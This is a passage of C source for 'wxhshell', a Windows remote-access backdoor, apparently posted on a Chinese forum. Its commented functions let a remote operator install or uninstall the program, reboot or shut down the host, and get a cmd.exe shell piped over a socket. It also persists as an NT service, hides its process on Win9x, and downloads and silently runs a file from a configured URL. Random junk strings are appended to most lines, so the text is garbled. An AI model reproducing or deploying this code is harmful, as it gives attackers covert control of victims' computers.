    break; +(`D'5EB(  
  } s`Z.H5V>\  
  // 安装 G$_)X%Vb I  
  case 'i': { [< 9%IGH  
    if(Install()) fb0)("_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %qJgtu"8  
    else Qu/f>tJN;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&G_SNa  
    break; X9c<g;  
    } 73 1RqUR  
  // 卸载 j+fF$6po#t  
  case 'r': { DB|w&tygq  
    if(Uninstall()) 0gOca +&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *EO*Gg0d  
    else ' rXf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N?S;v&q+  
    break; 'G[G;?F  
    } H{_D#It  
  // 显示 wxhshell 所在路径 ~U7Bo(EJp  
  case 'p': { qoT&N,/  
    char svExeFile[MAX_PATH]; hX,RuI  
    strcpy(svExeFile,"\n\r"); 3y$6}Kp4?  
      strcat(svExeFile,ExeFile); ]n@T5*=  
        send(wsh,svExeFile,strlen(svExeFile),0); }VWUcALJV  
    break; wYFkGih  
    } zNGUll$  
  // 重启 }#~E-N3x  
  case 'b': { v 9G~i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a` 9pHH:7Q  
    if(Boot(REBOOT)) -#<{3BJTrz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i,;a( Sy4  
    else { s 7%iuP  
    closesocket(wsh); V"gKk$j7  
    ExitThread(0); E>#@ H  
    } S,|ZCl>+  
    break; J 7dHD(R8  
    } 8t< X  
  // 关机 ,[N(XstI  
  case 'd': { Q|VBH5}1O  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); : maBec)  
    if(Boot(SHUTDOWN)) n<)A5UB5-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'lEIwJV$  
    else { /EHO(d!<  
    closesocket(wsh); T.QJ#vKO0  
    ExitThread(0); "Ar|i8^G3  
    } [# X} (  
    break; E>E^t=; [  
    } 2!9W:I7  
  // 获取shell s LDEa  
  case 's': { u46Z}~xfb  
    CmdShell(wsh); -d2)  
    closesocket(wsh); 7Kj7or|  
    ExitThread(0); }U9dzU14  
    break; <AJRU l  
  } 4S+E% b|)  
  // 退出 pP# _B  
  case 'x': { EHl~y=9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0.PG]K6  
    CloseIt(wsh); 8Bc2?NI=   
    break; xHx_! )7  
    } [(3 %$?[  
  // 离开 03iy[~Y2  
  case 'q': { PktnjdFV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); p.MLKp-'  
    closesocket(wsh); KqBiF]Q  
    WSACleanup(); >#;_Ebl@  
    exit(1); 2w~Vb0  
    break; 8"LM:0x  
        } [EVyCIcY,h  
  } C>-}BeY!  
  } S,,Wb &A$  
iB~dO @  
  // 提示信息 S<*1b 6%D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +?QHSIQo  
} VgY6M_V  
  } q)@;8Z=_c  
c/F!cW{z^  
  return; Q?>*h xzoP  
} |Ul4n@+2  
::GW  
// shell模块句柄 -IDhK}C&T  
int CmdShell(SOCKET sock) B 'O1dRj&6  
{ WU/5i 8  
STARTUPINFO si; hp7ni1V  
ZeroMemory(&si,sizeof(si)); *.A-UoHa  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P3a]*>.,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tmeg=U7  
PROCESS_INFORMATION ProcessInfo; 3fE0cVG*  
char cmdline[]="cmd"; XCgC^c'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); JHg;2xm"<K  
  return 0; 1x sJz^%V  
} ;<cCT!A  
 "}[ ]R  
// 自身启动模式 OB+cE4$  
int StartFromService(void) kA2)T,s74  
{ HFYe@2r  
typedef struct RN&8dsreZp  
{ z>=;Xe8P8n  
  DWORD ExitStatus; V.+a}J=Cw  
  DWORD PebBaseAddress; Fy>g*3  
  DWORD AffinityMask; E3x<o<v  
  DWORD BasePriority; :a=]<_*x  
  ULONG UniqueProcessId; Ir- 1@_1Q  
  ULONG InheritedFromUniqueProcessId; sP9{tk2K  
}   PROCESS_BASIC_INFORMATION; .7Pp'-hK  
Pc+,iK>  
PROCNTQSIP NtQueryInformationProcess; zQGj,EAM}  
qM>Dt  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W3X;c*j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; or)fx/%h  
|\C.il7  
  HANDLE             hProcess; ,W]}mqV%.'  
  PROCESS_BASIC_INFORMATION pbi; Sl \EPKZD  
FELW?Q?k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,&@FToR  
  if(NULL == hInst ) return 0; SM<qb0  
,[_)BM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G 8tK"LC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !_dW  `  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {=Py|N \\t  
pUgas?e&  
  if (!NtQueryInformationProcess) return 0; i1HO>X:ea  
27F:-C~.9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J3r':I}\  
  if(!hProcess) return 0; )Dcee@/7S  
Ghe@m6|D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \pI ,6$'  
3m~3l d  
  CloseHandle(hProcess); *JWPt(bnI  
cvpZF5mL]U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Aq$o&t  
if(hProcess==NULL) return 0; [2 Rz8e^  
"/hLZl  
HMODULE hMod; MGo`j:0  
char procName[255]; %7Gq#rq  
unsigned long cbNeeded; n*~#]%4  
v=IcVHuf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h}+Gz={Q^  
a^&RV5o  
  CloseHandle(hProcess); LsK fCB}  
m .En!~t  
if(strstr(procName,"services")) return 1; // 以服务启动 tU8aPiUl  
e.|t12)L "  
  return 0; // 注册表启动 :yOJL [x  
} pQm-Hr78j  
v1NFz>Hx  
// 主模块 BK.RYSN  
int StartWxhshell(LPSTR lpCmdLine) I%0J=V;o{  
{ #vR5a}BAk  
  SOCKET wsl; %nkbQ2^  
BOOL val=TRUE; A.!3{pAb  
  int port=0; ?Xp+5{  
  struct sockaddr_in door; c,*a|@  
s6oIj$  
  if(wscfg.ws_autoins) Install(); 368H6 Jj  
s%N6^}N  
port=atoi(lpCmdLine); z2dW)_fU$  
!:D,|k\m  
if(port<=0) port=wscfg.ws_port; 1n $  
9H%ixBnM  
  WSADATA data; =mxj2>,&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "W"r0"4  
*MN("<A_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t\ 9Y)d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }sfv zw_  
  door.sin_family = AF_INET; M !rw!,g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gf,[GbZ  
  door.sin_port = htons(port); ZZ].h2= K  
G;AV~1i:~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ! j0iLYo(*  
closesocket(wsl); \=@4F^U7`  
return 1; sDy~<$l?  
} pzDz@lAwR  
:*Z@UY   
  if(listen(wsl,2) == INVALID_SOCKET) { CyJZip  
closesocket(wsl); 2\[ Q{T=Qe  
return 1; e" p5hpl  
} y)`q% J&  
  Wxhshell(wsl); pf_`{2.\uO  
  WSACleanup(); \j vS`+  
3,@|kN<  
return 0; S ^@# %>  
[\"<=lb`  
} gL wNHS  
.wuRT>4G)G  
// 以NT服务方式启动 7"k\i=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I#CS;Yh95  
{ N*Xl0m(Q  
DWORD   status = 0; A)f/ww)Q  
  DWORD   specificError = 0xfffffff; 1h?:gOig  
A) TO<dl  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }ev+WIERQV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (/J %Huy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I8:G:s:  
  serviceStatus.dwWin32ExitCode     = 0; 'i8?]` T  
  serviceStatus.dwServiceSpecificExitCode = 0; 4"V6k4i5  
  serviceStatus.dwCheckPoint       = 0; S)A;!}RK6  
  serviceStatus.dwWaitHint       = 0; Ns[.guWu-  
%VgK::)r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S!~p/bB[+I  
  if (hServiceStatusHandle==0) return; 5{M$m&$1  
8t& 'Yk  
status = GetLastError(); + oNr c.  
  if (status!=NO_ERROR) A:,V)  
{ o){<PN|z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nZkMyRk  
    serviceStatus.dwCheckPoint       = 0; Ea N^<  
    serviceStatus.dwWaitHint       = 0; -k@Uo(MB  
    serviceStatus.dwWin32ExitCode     = status; ch0x*[N@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~ZRtNL9   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T;B/ Wm!x  
    return; :J6FI6  
  } }+ TA+;  
c *Pt;m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L(kW]  
  serviceStatus.dwCheckPoint       = 0; 8)&J oPN  
  serviceStatus.dwWaitHint       = 0; !Y]%U @4}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ._}Dqg$  
} M0uC0\' #P  
X0%BE!  
// 处理NT服务事件,比如:启动、停止 Z-z(SKL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &d[%  
{ 3+:uV  
switch(fdwControl) ltXGm)+  
{ =D?{d{JT  
case SERVICE_CONTROL_STOP: HlX2:\\  
  serviceStatus.dwWin32ExitCode = 0; )yv~wi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FGRG?d4?h  
  serviceStatus.dwCheckPoint   = 0; 5~SBZYI  
  serviceStatus.dwWaitHint     = 0; %967#XI[y  
  { 1s#GY<<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C<iOa)_@Q  
  } { :_qa|  
  return; C~VyM1inD  
case SERVICE_CONTROL_PAUSE: 6T A2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~2?UEv6  
  break; fZJO}  
case SERVICE_CONTROL_CONTINUE: \W})Z72  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3a6  
  break; Z`bo1,6>  
case SERVICE_CONTROL_INTERROGATE: SrSm%Dv  
  break; yg@}j   
}; M9sB2Ips<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/XUF#^B]  
} 3x~AaC.j  
15`,kJSK  
// 标准应用程序主函数 }zV#?;}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3})0p  
{ 1 ,4V8gp  
&pLCN[a  
// 获取操作系统版本 Xw9"wAj  
OsIsNt=GetOsVer(); @NJJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ` oXL  
jh.e&6  
  // 从命令行安装 1"HSM =p  
  if(strpbrk(lpCmdLine,"iI")) Install(); sh8(+hg  
T1~,.(#  
  // 下载执行文件 u=p-]?  
if(wscfg.ws_downexe) { I'16-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H.: [# a  
  WinExec(wscfg.ws_filenam,SW_HIDE); m3iB`  
} z`rW2UO#a`  
~m@w p  
if(!OsIsNt) { +\`t@Ht#  
// 如果时win9x,隐藏进程并且设置为注册表启动 cdsF<tpy  
HideProc(); g4>1> .s  
StartWxhshell(lpCmdLine); AZjj71UE  
} ||sj*K  
else 3q0^7)m0  
  if(StartFromService()) 7_ah1IEK  
  // 以服务方式启动 KdTna6nY  
  StartServiceCtrlDispatcher(DispatchTable); r$.v"Wh)  
else "t)|N dZm  
  // 普通方式启动 ;X2(G  
  StartWxhshell(lpCmdLine); J*CfG;Y:  
5mYI5~ p  
return 0; wa4(tM2  
}
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只看该作者 1 发表于: 2006-10-10
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